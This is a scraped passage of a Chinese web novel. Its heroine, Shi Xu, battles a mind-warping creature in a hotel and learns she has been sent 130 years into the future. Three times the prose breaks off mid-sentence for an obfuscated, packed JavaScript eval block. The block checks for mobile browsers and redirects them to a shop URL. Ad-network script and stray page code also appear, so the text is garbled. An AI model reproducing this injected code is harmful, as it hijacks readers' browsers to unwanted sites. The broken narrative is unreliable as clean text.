周诗雨听到自己的名字,不由凑过去仔细听,时序眼皮耷拉着,只觉得有人在靠近自己,她勉力抬眼,眼前的周诗雨脸皮跟异化物巢穴里的范星火一样渐渐融化,最后露出范星火举着短斧狞笑的脸。 【说不定范星火被夺舍,把我们骗进来杀掉啊!】 是个鸭子般聒噪的男人声音。 时序嘴唇抖了几下,眼神突然发狠,伸手捧住周诗雨的头: “对,安然说的没错,你肯定是范星火假扮来杀我的!” 8. 欢迎来到 夏夜沙滩(八) 时序狰狞的表情无限放大,周诗雨痛呼一声,时序眼中闪过一丝迷惘,她松开双手,周诗雨还没来得及松口气,铁钳一般的双手再度袭来,只是这次,伸向周诗雨纤细的脖颈。 她连挣扎都办不到,只能眼睁睁地看着时序越发狂乱的表情,和布满青筋使尽力气的双手。 【咔嚓】 骨头的异响声刺激了时序,让她脑子里的各种声音画面短暂的停滞,她眼珠向下,双手传来的皮肤触感还算温热,周诗雨的头不自然地歪向一边,身体传来的重量让她—— 咻的一声放开了手。 周诗雨倒下。 时序呼吸渐渐急促,她刚在在干什么?周诗雨,诗雨为什么倒下了?她为什么会…… 会掐着周诗雨的脖子?她刚才不是在跟被夺舍的范星火搏斗吗? 为什么?为什么?为什么? 时序双手颤抖,她缓缓蹲下,伸出一根手指小心翼翼地探向诗雨的鼻下—— 没有呼吸。 时序迅速收回手,脑海里凌乱的画面再度重启,白噪音不停回响,她双手捂头跪在周诗雨身旁,她感觉脑袋仿佛要爆炸似的,一阵阵疼痛令她忍不住跪地干呕,她用尽力气睁开右眼,看着失去呼吸的周诗雨,一瞬间她再也控制不住,崩溃地不停捶地大叫。 她杀了她从小到大最好的朋友。 【紊乱值:50%,请宿主保持冷静。】 时序喘着粗气,她要怎么冷静?她杀了人啊!而且还是她最好的朋友! 突然,周诗雨的尸体跟之前裴宣的脸一样,身上出现大片马赛克和雪花,时序喘着粗气慢慢站起来,试图把周诗雨抬到床上。 只是她刚触碰到对方的胳膊时,对方的胳膊便如没有拼好的乐高一样,掉了。 时序看着手里周诗雨的胳膊,过于反常识的现象反而让她理智回归,脑海里不停闪烁的画面和声音也没那么嘈杂了。 时序将周诗雨的胳膊拼接回去,随手拿过离她最近的折叠椅面对着床坐下,她好像又可以思考了,她把周诗雨的头摆正,就这么盯着对方。 首先,这不是真实发生过的事,她可以确定,来到异世界前她已经是大二的学生,诗雨跟她在同一个城市的不同大学,她们经常见面。 如果她在高中毕业后的这场海岛旅行杀了诗雨,那后面的周诗雨难道是假的吗?她杀了人难道不用坐牢吗? 其次,时序掏出手机,她的脸完整的倒映在漆黑的屏幕中,她快速眨着右眼,防止右眼长时间再像之前一样暴露后发生意外。 正如之前一样,她的右眼没有变成正常的瞳孔。 “时序……?你……”周诗雨的朦胧的声音打断时序的思考,时序抬头,周诗雨慢慢坐起来,捂着脖子,“我怎么躺床上了?嘶……脖子好痛啊……” “你晕倒了。”时序拍拍周诗雨的肩膀,把人扶起来,周诗雨啊一声,伸手勾住时序准备抽走的手:“我想起来了!时序你没事吧!刚才你嘴里一直念叨什么999小时,是不是晕车了?” “嗯,”时序随口敷衍,“我现在没事了,晚上的活动是什么来着?” 周诗雨放开时序,自然地下了床,“晚上要去附近的山洞探险,好像叫——试胆大会?听说是渔村推出的新项目。” “去看看吧。”时序瞟了眼周诗雨,她在对方脖子上留下的恐怖掐痕不见了,连同刚才掉落的胳膊现在也严丝合缝。 她倒要看看,这个不知道躲在哪里的异化物,搞什么名堂。 …… 从酒店出来,天已经黑了,在酒店前台问过山洞的方位,两人一前一后地往山洞方向走,时序跟周诗雨始终保持着一两米的距离,夜晚的沙滩褪去了白天的燥热,一轮巨大的蓝色圆月挂在海边,海浪拍打着沙滩,海潮带着咸湿的味道,时不时冲刷着时序的脚。 沙滩上除了她和周诗雨一个人也没有,这么想着时序转头,不知什么时候,走在她前面的周诗雨不见了。 偌大的海滩只剩下她一人。 这片沙滩好像没有尽头,她看不到礁石,看不到礁石上的山洞,巨大的月亮随时都要坠落似的,海浪带来的泡沫在她脚下倒是清晰可见。 时序不由停下脚步,深夜的海有种神奇的魔力,让她驻足静静欣赏着海上巨大的蓝色月亮。 本应感到恐惧的场景,时序直视着月亮,她感觉到的没有恐惧,也没有失措,海浪的声音好像冲刷掉她脑子里嘈杂的声音,让她感觉到宁静。 “好大的月亮,让人感觉像是在梦中。”身后传来声音,接着是脚步声。 时序没有回头,她转了个身,面朝大海: “看来这里确实是梦境,或者别的什么地方,不然你怎么会出现在这里?” 她嘴角流露出一丝微笑,看着远方的月亮。 “妈妈。” 时序身后的女性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751441|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越过混沌的黑暗走出来,同样沐浴在淡蓝色的月光下,时序又转了个身,脚下的沙子被她踩得乱七八糟,两人面对着面,被时序称为【妈妈】的女性身着白色长裙,长发随着海风飘荡,时序跟女性长得七八分像,几乎是从一个模子里刻出来的。 两人的距离隔着海浪声。 “阿序,好久不见。”女性的声音平稳安定,她站在光暗交界处,始终有一半的身体隐没在黑暗中,月光怎么都照不透女性身后黑漆漆的沙滩。 “好久不见……”时序重复着低语,对面女性的面容清晰可见,她却觉得既熟悉,又陌生。 女性面向大海,突然问:“阿序,你想看看吗?” “看什么?” “大海,或者月亮,总之是我们不知道的地方。” 时序思索两秒,摇头:“不太想看,比起这个,我更想知道——” 女性微笑着打断她:“不要说。” “说出来……”她垂眸,“就不灵了。” 时序不明白她在说什么,她顿了顿,“妈,你……你真的死了吗?如果你还活着,为什么不告诉我你在哪里?” 女性深深看她一眼:“阿序,我无法回答你,因为我只是存在于你意识中的残影,并不是你真正意义上的【母亲】。” “那这里……是我的意识?” 问出这句话后,平静的海浪开始翻滚,高挂在天上的蓝色月亮似乎变成某种奇特的晶体,向下洒落亮晶晶的碎屑。 女性一动不动地站着,她离海浪那么的近,近的仿佛巨浪随时能将她吞噬。 “这里……只是一个即将破碎的领域,脱离时间与空间的缝隙,将你拖进来的人快要死了,阿序,快去救她吧。” 说完,最后一个滔天巨浪将女性卷入大海,时序伸手想要拉住她,却只抓到一片白色裙角。 女性的叹息隐隐回荡在这片漆黑的大海,时序松开手,手里的裙角随着海风没入大海,海浪宁静下来,浮沫一波接一波地打在时序脚边。 时序看着高悬的月,这片海宁静,有序,仿佛永远都不会变,直至世界毁灭。 却也残忍的吞噬了她记忆中的母亲。 “妈……”将心中最后一点惆怅带走,眼前的世界逐渐瓦解破碎,下个瞬间,她又回到了厕所,破碎的镜子映出她破碎的脸,时序默默戴好眼罩和头盔,她要搞清楚到底发生了什么,她要回到那个属于她的世界。 9. 欢迎来到 夏夜沙滩(九) “我靠,时序你这一趟可够久的,这是憋了多久啊?”看到时序深一脚浅一脚的往这走,安燃跳起来,等时序走进,他迫不及待的问道。 时序没搭理他,转头对晏清说:“我们现在正身处异化物的意识领域中,也许是那只异化螳螂唤醒了它,范哥大概率被它抓走了,晏清你还知道什么,最好现在就说出来。” 时序说着掏出短柄斧,“或许我们还能活着离开这里。” 晏清看看时序握着斧头的手,方才在山洞里对付螳螂时她看到时序斧头扔的很准,而且对异化物的判断非常准确,再说,她也不想死在这里…… “这只异化物是ND纪年前就存在的,不知道什么原因一直在沉睡,研究中心派了几批人也没唤醒它,”晏清顿了顿,接着说:“最近十年它的意识阈出现大幅度衰减迹象,研究中心判断异化物很有可能已经消亡,确认这里安全后,就成了新人过来熟悉意识阈的新人任务了。” 说着,晏清皱眉问道:“时序你是怎么知道意识阈的?” 时序言简意赅:“我在厕所的时候中招了。” 安燃发出鸭子般的难听尖叫:“啥?你中招了?你不会被同化了吧?!啊啊嘎嘎嘎啊啊!” 晏清和时序对视一眼,两人不约而同左右开弓踹向安燃,安燃结结实实挨了两脚,捂着屁股委屈的不行:“你们踹我干嘛?” 时序再度举起斧头:“你再发出这么难听的声音,下次就不是踹这么简单了。” 安燃不敢再吭声,时序满意的点点头,解下双肩包:“我们先清点看看有什么武器,然后想办法找到异化物,晏清,你有什么办法吗?” 晏清也解下背包,“范哥身上的定位器应该还在,我们先去他目前所在的位置,嗯……” 三人把所有装备摊开,不由露出几分为难: 除去食物补给,武器方面,他们一共有三把小手枪,四把冲锋枪样式的镭射枪,晏清比时序和安燃多一把镭射枪,除了枪之外,两个□□,两个闪光弹,还有两个看起来是炸弹,除了三人身上标配的短柄斧,就这些武器。 晏清拿出一个透明材质的小瓶子,倒出两粒白色药片,分别给两人:“这是稳定精神的药物,感觉自己实在不行了的时候就吃一颗,可以保持大概十二小时。” 刚才晏清吃了一颗,瓶子里还剩一颗,安燃啧一声,“还是你们执行科好啊,好歹还有把冲锋枪,我们调查科这小手枪够干啥的,况且我和时序还都不会用。” “再说,”安燃拿起一颗□□,“这玩意对异化物管用吗?我怎么觉得没什么用啊。” “不管有用没用,”晏清给两人各分一颗□□闪光弹,“总比什么都没有强。” 时序赞同,“这个挺好用的,就是太小。” 她拍拍绑在身后的短柄斧。 收拾完装备,晏清定位了范星火的位置,大约在酒店顶层的位置,时序下意识抬头看,突然感觉到不对劲。 “水泡好像没那么多了,”她低声自言自语,晏清离她很近,听到后点头,表情略有凝重,“看来异化物快要苏醒了,我们最好在它刚苏醒的时候杀掉它,那是它最脆弱的时候。” 时序思考了一下,问:“能估计大概的时间吗?” 晏清:“大概……不,最多30分钟。” 三十分钟,时序一边思考一边说:“你们看,黑洞的范围大概是从四楼开始,一直延伸到楼顶,晏清,范哥的位置能再准确一些吗?” 晏清思索片刻,抬腕点亮终端,唤出界面,酒店的整体结构呈立体状浮现,她划动几下,点了点一个不停闪烁的红点:“范哥就在这里,他的生命体征还算稳定,精神……应该是晕过去了。” 时序凑过去看:“这里是……第九层?” 总共十层的酒店,范星火在九层,看来想要偷摸着解救范星火的计划行不通了,时序啧一声,“九层应该是它的巢穴了。” 安燃瞪大眼睛:“我靠,时序你咋知道的?” 晏清收起终端,虽然隔着头盔,时序总觉得她好像翻了个白眼似的。 “你看水泡的流动方向。”晏清还是耐心的解释道。 安燃抬头看去,五颜六色的水泡尽管缓慢,但好像都在往九楼的某个地方飘去。 “还真是!你俩真牛哇!”安燃吹彩虹屁的同时,觉得自己属实不配当调查员了,这都没看出来,也不知道他还能调查出什么来。 时序和晏清不约而同抬头,两人对视一眼,晏清收回眼神,指指废墟边上的楼梯:“我们直接上去吧,消防通道最多到三楼,我上次新人任务时,领队是这么告诉我的。” “楼上有什么?”时序问。 晏清抬脚上楼梯,“可以联络中心的设备,设备在顶楼,只是……”她语气透漏着不确定:“异化物的意识阈展开的话,通讯设备大概率是无法使用的。” 时序跟着上楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751442|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看来意识阈会阻断联络信号。 三人很快到四楼,【黑洞】从楼梯边缘蔓延,时序跟在晏清后面,晏清完全没有停下脚步的意思,直到半边身体没入黑洞,她侧头说: “意识阈是异化物深层意识领域的具现化,进去后谁也不知道会遇到什么,能不能出来全靠自己,我刚才把我补给的一半分给你们两个了,时序,安燃,希望你们能平安出来,我在顶楼等着你们。” 晏清说完,毫不犹豫的踏进黑洞。 时序抿了抿嘴唇,跟着踏入,身体完全进入黑洞的一刹那,失重感扑面而来,周围一片黑漆漆的,她尝试打开终端的照明功能,目光所及之处却仍旧是一片黑暗。 就连被吸入的水泡都不知所踪。 她甚至不知道自己是向下坠落,还是向上漂浮。 如果真的身在宇宙概念的黑洞中,大概也就是这样了,连光都能吞噬,时序关掉终端,还是省点电好了,万一她出不去呢。 不知道在这片黑暗中呆了多久,当时序再次有意识的时候,她感觉到自己好像是落到底了,她睁开眼睛猛地坐起来,眼前的景色跟着转动,她单手撑地,隔着手套隐约感觉到手掌埋在细密的沙土中。 “嘻嘻嘻……”带着回音的笑声从头顶传来。 时序本能地抬头—— 一双巨大的昆虫复眼正隔着透明的圆形罩盯着她看,这双眼睛如此的巨大,时序甚至能看清倒映在对方无数双复眼中的自己。 “刚醒来就看到活人,好开心啊!”巨大复眼的主人声音尖细稚嫩,恍若女童的嗓音。 时序保持着刚醒来单手撑地的姿势,她实在是笑不出来。 因为这只怪物长得实在太丑了,时序不太认识昆虫,因此无法辨别这双复眼是什么虫子的,但她认得出来复眼下面的那张鱼类的嘴唇,和复眼边上黑色的人类的头发。 时序感觉自己的眼珠正拼了命的想要移开,这怪物长得太过怪异太精神污染了。 “你是……意识阈的主人?”时序大着胆子问道。 复眼主人转动头颅,伸出满是毛的节肢,像是要挠头的样子:“是吗……可能是吧……我饿了,要进食啦。” 说着,复眼靠近了些,时序忍不住后退,很快她发现自己好像正处于一个圆形的装置里,她用仅有的左眼向下看…… 恍然大悟,怪不得进入黑洞后,水泡消失了呢。 原来她就在水泡中。 10. 欢迎来到 XXXXX的世界(十) 很小的时候,时序得到过一个礼物:透明的圆形玻璃球里面有一颗小小的圣诞树,稍微晃动几下,还会产生类似下雪的效果。 她还记得每次晃完,她都会把头凑过去好奇地往里看。 眼前的这个怪物,是不是也像儿时她看圣诞树那样,正看着她呢? 面对着复眼下面张开的鱼嘴,时序甚至还有空想:如果圣诞树有感觉的话,看到透明玻璃球外她的脸庞,会不会就像现在身在水泡里面的她一样,恐惧中又带着没有任何实感的荒诞? 可惜现在她没办法仔细地思考,鱼嘴轻而易举咬破水泡,水泡里的沙子连同她一起向下坠落,这下时序百分百能确定自己是在下坠了。 咬破了水泡的怪物大概没料到时序竟然没掉进它嘴里,随即安静地空间中传来昆虫震动翅膀的声音。 “好像苍蝇啊……”时序下坠过程中轻声自语,同时借由下坠,她看到这位意识阈主人的全貌。 说它像苍蝇那确实是不对的,哪怕时序不认识太多种昆虫,也能一眼看出这玩意比起苍蝇,更像是蜻蜓,尤其那两对细长的翅膀和腹部,总体而言,除了长得像是拼接上去的鱼嘴,还是一眼就能认出是只蜻蜓的。 螳螂身体里的铁线虫她还知道如何解决,可如何杀死一只长得像鱼的蜻蜓,她真不知道。 “啊……你想杀死我?”异化物转动昆虫脑袋,头颈与身体的连接处咔咔作响,听得时序毛骨悚然。 “那你会告诉我怎么出去吗?”面对眼前的巨大口器,时序问。 异化物咯咯笑:“不会啊,我还想吃掉你呢。” 翅膀扇动的声音越发靠近,在这里时序只是个外来的客人,她被动的适应着意识阈里面的黑暗、失重感,同时她意识到身处异化物的意识阈中,她没有任何秘密可言,所有的一切都毫无保留的呈现给了异化物。 “……” 这就有点令人不适了,时序甩头,从腰间别着的枪套中拿出手枪,她记得安燃说过这是调查科统一配发的武器,她动作生疏的拉开保险,双手握住枪柄,对准悬停于上方的异化物,扣动扳机—— 打偏了,子弹被黑暗吞噬,不知道去哪了。 时序咂咂嘴,这么慢的射速,是个活的都能躲过去。 她把枪收回枪套,掏出短柄斧,刚才她朝异化物射击把对方惹怒了,此时此刻,异化物正尖啸着朝她飞过来,一张鱼嘴张的溜圆,倒是显得奇蠢无比。 长相凶悍的鱼种类也不少,怎么偏偏选了人们经常吃的那种…… 她扭转身体躲开异化物的攻击,顺便还用短斧劈掉鱼唇,露出里面形似鲨鱼的尖齿。 …… 搁这拼图呢,这是把各种动物都拼到身上了?时序心里下意识吐槽, “鲨鱼很厉害的,电影里面的食人鲨比我们出海捕鱼的渔船还大,一口就能咬断钢铁。”异化物的半张嘴一张一合,被时序砍掉的鱼唇渐渐长出,变成蜻蜓的口器。 “……”时序一时无言,她压下心里繁复的想法,尽量让大脑保持放空,同时她从背包拿出一颗□□,拉开拉环,就这么冲异化物扔过去。 异化物侧身躲过,“你以为这个东西会管……啊啊啊啊啊!!!” 失重感霎那间消失,再次脚踏实地的站在大地上,让她有种恍如隔世的感觉。 伴随着失重感一同消失的还有包裹住这个酒店的黑洞,黑暗褪去后,眼前的场景变回她所熟悉的—— 酒店厕所。 “怎么可能啊!你用了什么!”异化物尖叫着,像苍蝇一样不停用长满黑毛的节肢挠头上的复眼,时序找来找去,终于从身上找到个透明的小瓶子,轻而易举地把异化物装进瓶子里。 立场转换,这下变成【巨大】的时序透过透明的塑料瓶观察异化物了。 她晃晃瓶子,“我还要谢谢你提醒我,不然我还真不知道这么简单就能破解你的意识阈。” 异化物落到塑料瓶底部,即使体型变小,它的声音却跟时序的差不多:“我?我做了什么?” 时序把塑料瓶小心地装好,走出厕所来到外面的长廊,在走廊边上下张望,判断自己当前的方位。 不知不觉她来到九楼了。 那么范星火应该就在附近。 任务进度超出想象的快,她想了想,开口解释:“你这个东西确实挺唬人的,空间里的失重感应该是假的吧,是你用了什么手段让我的神经系统出现失调,像是判断方位、时间概念之类的都失灵了,通俗地讲,就是让我整个人都【乱】了。” 异化物沉默,时序也不跟它多说,用□□只是她灵机一动想到的办法,下次对异化物应该就不管用了。 现在还是先去找范星火,然后跟晏清会合。 她加快脚步,内心涌起一点点焦虑,意识阈破了,可通讯没恢复,原主的备忘录没有异化物的详细信息,看来培训只是讲了点皮毛。 一间一间房间找过去,始终没找到范星火,时序眉头渐渐拧起,心里的不安渐渐扩大,她察觉到些许违和。 意识阈被破,通讯没有恢复,其他两个人也没有任何声响,晏清就不说了,安燃应该用他难听的公鸭嗓大喊大叫才对,可安燃也没声音,现在连异化物也没动静了。 时序拿起一直捏在手里的塑料瓶:异化物一动不动地趴在塑料瓶底部。 掺杂着真实感的虚假世界,认清事实的时序手摸向右眼:好不容易找到的真实感,就这么被这只虫子似的异化物搞砸了。 “所以……这里也是你的意识阈中吗?”时序低声问。 异化物没回答她,静静地趴在瓶底。 时序又打开几扇门,终于在最后一个房间里找到昏倒在地的范星火。 可她无法确认眼前的范星火是真实存在的,还是异化物为了麻痹她而造出来的。 【主线任务:找出度假村真相,完成进度:5%】 突如其来的电子音打破时序脑中翻涌的真与假,她低头看向范星火,在心里问电子音: 【完成主线任务,我会回到原来的世界吗?】 电子音同样没有回答她。 “好吧,其实一直这样让人挺难受的,这种什么都不知道像个傻X的感觉。”时序低声自言自语,她把塑料瓶放到范星火旁边,摸出短柄斧,毫不犹豫地对准范星火的头盔砍下去—— 地上原本一动不动的男人猛然伸手接住斧头,时序见状收回斧子,笑笑:“范哥,你醒了。” 【范星火】慢慢坐起来,僵硬地转动脑袋:“时序,你要杀我?” 时序捏着斧头:“对,毕竟你不是范星火,为什么不能杀你?何况杀了你我才能离开这里,对吧,异化物?” 【范星火】双手不停抚摸着脖子,时序说完一句话,他也终于找到脖颈上头盔的锁,咔哒一声头盔锁解开,他摸索着摘下头盔。 身体是人类男性的身体,头却变成了刚才那只异化物的。 异化物扔掉头盔,站起来笨拙地走了几步,期间头颅渐渐变回人类的头颅,是一张普通男性的脸,他缓慢地走到房间里破碎的镜子前: “哎,真不想变成男人啊……”异化物盯着镜子里毫无特色的脸,不禁叹气。 【范星火】照完镜子,此刻他的动作不再向方才那么僵硬笨拙,说话方式也渐渐趋向范星火: “时序,我们做个交易如何?”【范星火】微笑着开口,嘴里的鲨鱼牙齿隐隐若现。 角落里端着冲锋镭射枪的时序:“什么交易?” 【范星火】:“我放你和你的同伴离开,你就当什么都没发生过,我可以告诉你应急设备在哪,也可以告诉你们要怎么回去。” 时序眯眼:“这样做对你有什么好处?” 【范星火】:“如你所见,我的意识阈正在衰弱,活不了多久了,这里曾是我工作的地方,如果可以我想回家看看。” 时序不作声,不对劲,听上去很合理,但不对劲。 “我不相信你,刚才在意识阈里你还说你要进食。”时序冷静地反驳,她默默握紧手中的武器,谁也无法保证异化物不会杀人。 【范星火】眉毛微微抖动:“我确实这样说过,看来你对异化知道的很少,我可以告诉你大多数异化物都曾经是人类,异化的越多,思维方式会越来越趋向【那边】。” 他接着说:“时序,我曾经也是人类,我不想伤人,这点我可以保……保证。” 流利的语言,显得末尾的卡壳格外异常。 时序站在角落一动不动。 房间中间的范星火突然捂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751443|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住头和胸口,极速的喘了几口粗气,再抬头已是满头大汗: “时……序,不要相信……,她的目的是……是……”范星火舌头打结,表情十分痛苦,时序瞬间明白这是真正的范星火,她刚想冲过去,范星火冲她挥手,掀起一阵风打退时序: “别过来……!我的意识马上要被她同化了,她的目的是下一批送来的新人,她读取了我的记忆,知道下一批新人就在15天后,如果我死在这里,中心肯定会派调查一科的人过……过来,她的目标是那些人……调查一科的人可比你们这些菜鸟厉害多了,进食带来的能量肯定也更多,选谁不言而喻。” “既然要吃,那肯定要选好吃的吃啊!” 【范星火】说到最后,语气带着冷漠的嘲笑,和不屑一顾。 时序就这么看着范星火脸上的表情由痛苦转为轻蔑,她握紧镭射枪,这一刻她清楚地明白安燃为什么宁可死也不要被异化物同化了。 范星火如果看到自己用这样的表情,毫无留恋的说着如何吃掉曾经共事的同事,时序觉得这大概比杀了他还要难受。 原本以为身为人类最骄傲、最不可扭转的意志毫无抵抗之力的被扭转,这份渺小、脆弱带来的痛苦, 时序端起枪,扣动扳机,蓝绿色的激光射出,轻而易举击中范星火的胳膊,【范星火】嚎叫一声,甩掉左边的断臂,飞扑到时序面前,时序灵活的向左边空隙后撤,范星火扑了个空。 接着范星火动作利索的起身,掏出装备的短刀跨步向时序腰腹刺去,时序用双手握枪挡住范星火的突刺,两人距离拉近,时序眼向下,抬脚踹向范星火的膝盖和小腿。 由于她右眼戴着眼罩,一只眼睛难以判断距离,一脚没踩住,擦着范星火的腿边,范星火见状,反而一记勾腿试图扫倒时序,时序端枪再次射击,这次直接将范星火的防护服打穿,肚子打出个窟窿。 趁范星火痛呼她再次后撤,把镭射枪斜跨前胸,时序掏出短斧猫着腰冲到范星火身前,一记向下横劈打算劈断范星火的膝盖,让对方丧失行动能力。 范星火单手捂腹,嘴角溢出紫红色的血液,他跳动两下,极速转身抬腿,一记大力度的后踢直冲时序面门,时序后仰闪避,将将躲过对方的腿风,还没来得及松口气,对方一记带刀突刺,时序猝不及防,本能用手中短斧曲臂防御,连续防御对方几记重拳后,时序瞅准机会下蹲手撑地向上斜踢,这下轮到范星火猝不及防,时序连续出脚,终于一脚踢到范星火肩颈处。 对方被她踢懵的一瞬,时序起身同样来了个转身后摆腿,直接将范星火踢倒。 “这具身体到底不是你的。”时序喘着粗气,举枪对准范星火的头部说道。 【范星火】倒地,腹部的伤口还在流血,里面的肠子在他倒地后洒了一地,加上连续吃了时序的两脚,【范星火】已然有些力不从心。 “你……”范星火想说话,却吐出一口血。 时序斜眼,范星火吐出来的血亮晶晶的,还带点粘稠感,就像是里面掺了钻石粉似的。 “呵呵呵……你……你杀了我,永远也无法知道……”范星火断断续续地说着,时序一脚踩断范星火的膝盖, “我不想从你嘴里知道,反正你也不会说真话。”时序面无表情,计划有变,她打算了结范星火,给人一个痛快,不然这样,即使活下来也只有无尽的痛苦。 “你不想知道,那我偏要说,时序,这里可不是你想象中的异世界,”范星火讲话突然变得异常流利,他躺在地上,嘴里的鲨鱼牙渗着血,阴森森的笑着: “这里就是你和我曾经生活过的世界,今天是ND130年6月13日,距离2021年6月13日正好过去130年,时序,你回不去的,回不到2021年以前的,你生活的世界!” 时序心脏仿佛停跳了一拍,她捏着扳机的手指轻微发抖:“不要说了。” 【范星火】哈哈大笑着:“看样子你早有猜测啊!哈哈哈!时序,欢迎你啊!欢迎你啊!” 时序按下扳机,范星火的右臂被她打断了。 范星火毫无知觉般的狂笑着:“时序,欢迎你啊!欢迎你来到130年后的世界!” 与此同时—— 【支线任务:探寻世界真相,完成进度:1%】 11. 欢迎来到 130年后,这里不是什么穿书或者异世界。 时序心里最后那点微小的希望被戳破,她没有理会范星火的狂笑,而是走开几步捡起范星火拽下的左臂和被她打掉飞出去的右臂。 范星火的狂笑很快偃旗息鼓,他沉默下来,仰面看着斑驳的天花板: “你就一点都不吃惊吗?” 时序把两根手臂一左一右放下,瞥了眼范星火,“我很吃惊,也很难过,你把我最后的一点期望打破了。” 范星火怔了怔,继而语带失落:“哎,看来我要死在这具身体里了,真不想死在男人身上。” 时序:“你这话说的,怪怪的。” 【范星火】叹气:“你破解了我的阈,其实我还是能在身体周边几米的范围展开立场的,可就是不想那么干,比起用能力,还是更想用人类的身份弄死你。” 他眼神空洞:“大概是我更想当人吧。” 时序沉默,她不知道该说什么。 范星火五官变化着重新排列组合,头发也从寸头变成过肩长发,不一会,连同身形也跟着变了,变成了女性化的身体。 “有镜子吗?”【范星火】开口,声音从男性的低沉变为女音。 时序默默去掰了块镜子下来,自觉地放到【范星火】脸前。 “嗯……差不多就这样吧。”【范星火】仔细端详了会,点了点头。 时序把镜子放地下,“你宁可用最后这点力量变性变脸,也不想治愈自己。” “我现在就在治愈自己,的内心。”女性说道,“俗话说人之将死其言也善,看在咱们是同代人的份上,我就把我知道的告诉你,你先帮我把右手接上,直接告诉你的话,大概说两个字我就会死的。” 时序踟躇了两秒钟,捡起右臂接回去,女性用最后的一点力量修复了右臂,她抬起手来说:“我所知有限,剩下的还需要你自己寻找……” 说着,女性伸出右臂,笨拙的想要解开防护服,时序见状上前帮忙,她动作轻柔,生怕再伤害到女性。 “这会倒是温柔了,刚才打断我胳膊和膝盖的时候可不这样。” 时序抿唇:“那是……” 女性笑笑,“你看到了,我异化后的模样,是什么样子的?我其实一直都不太清楚,只要一想到,脑子里就像有个东西挡住似的。” 时序顿了顿:“其实……有点可爱,鲤鱼的嘴里长着鲨鱼牙,张嘴咬人的时候看起来很蠢。” “哈哈……”女性笑出声,“因为我经常吃鲫鱼啊鲤鱼啊这些,住在海边的人,偏偏喜欢吃湖里的鱼,小时候我还经常捉蜻蜓,遇到缠在一块的,说什么都要把它们分开。” “好了,”时序声音低低的:“这事我也干过。” 女性低头看着自己的身体,平滑的肌肤,有着女性特征的胸口,终于再度拥有了人的身体,可她却要死掉了。 【这个世界注定毁灭,有人为了毁灭它,选择毁灭我们的生活,现在没办法再回到过去了,你真的要这么做吗?你可以选择继续沉睡……在沉睡中迎来灭亡。】 【如果时序连你这关都过不了的话,那你就杀掉她,总比无能的活着,眼睁睁看着毁灭来临要好。】 记忆中有个人曾这样对她说。 对方没办法拯救她,却希望她毫无痛苦的死去。 可……正如对方所说,这个世界要毁灭了,有很多人为了避免灭亡努力着,她要是选择没有痛苦的死去岂不是太狡猾了? 事已至此,她也想为这个世界上的人尽一份自己的力量啊。 【那边】的侵蚀由于她的沉睡,没有太过深入,所以随着她逐渐清醒,她可以保全着身为人类的思维。 她是巨大命运洪流下的那片小小齿轮,现在,时机已至,她该行动了。 女性伸出右臂,五指并拢,毫不动摇地插进左胸取出跳动的心脏。 拽断连接着的血管的瞬间,心脏飞速化为齑粉,露出一块指甲盖大小的粉红色晶体。 女性做完这一连串几乎没了呼吸,半坐着的身躯向后仰去,时序伸臂揽住对方,不让对方倒下。 “这是……这是我的【核】,交给你了……时……”女性拼命举着右臂,手掌中浸满鲜血,时序扶起她的右臂,颤抖着手拿起这一小块晶体。 女性倒在她怀中,时序眼睁睁看着她胸口的起伏渐渐变小,鬼使神差地,她突然开口问:“你叫什么名字?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 女性闭着眼睛,轻点时序的手腕。 都在那里。时序知道她的意思。 “上顶楼,顶楼有飞行器可以带你们离开,你的同伴们,在那等你……”脑海中,女性和范星火的声音重叠在一块,说完这句话,时序感到手臂一沉,女性彻底躺倒在她怀中。 “……”时序慢慢把女性放平,收好晶体后,她又把拉下的防护服穿好,她心里五味杂陈,如果刚才下手不那么重,女性是不是就能多活一会……或者再去沉睡,在沉睡中灭亡…… 可她确实的杀害了范星火,她杀死了范星火的意识,占据了范星火的身体,甚至还扬言要吃掉同事们…… 时序思维混乱,一时间她不知道自己该怎么做,她莫名的来到130年后的世界,而这一切似乎有人在冥冥之中操纵着。 关于高中毕业后的旅行,戛然而止的梦,意识里出现的妈妈,脑子里莫名其妙的系统,她总觉得她好像抓住了什么,只是联系不到一起。 真相到底是什么?她究竟会怎样?是不是最后也会像这名女性一样,在无可奈何中迎来转变,迎来死亡? 时序少有的感性的开始思考起来。 【任务完成后,宿主将会成为“神”。】 时序吃了一惊,这还是系统主动说除了任务以外的话。 “神?” 